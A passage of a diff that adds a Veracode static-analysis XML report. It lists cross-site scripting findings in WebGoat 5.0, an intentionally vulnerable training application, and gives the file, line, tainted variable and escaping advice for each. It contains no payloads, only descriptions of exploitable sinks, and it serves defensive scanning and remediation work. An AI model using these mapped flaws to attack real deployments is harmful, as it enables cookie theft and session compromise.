+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
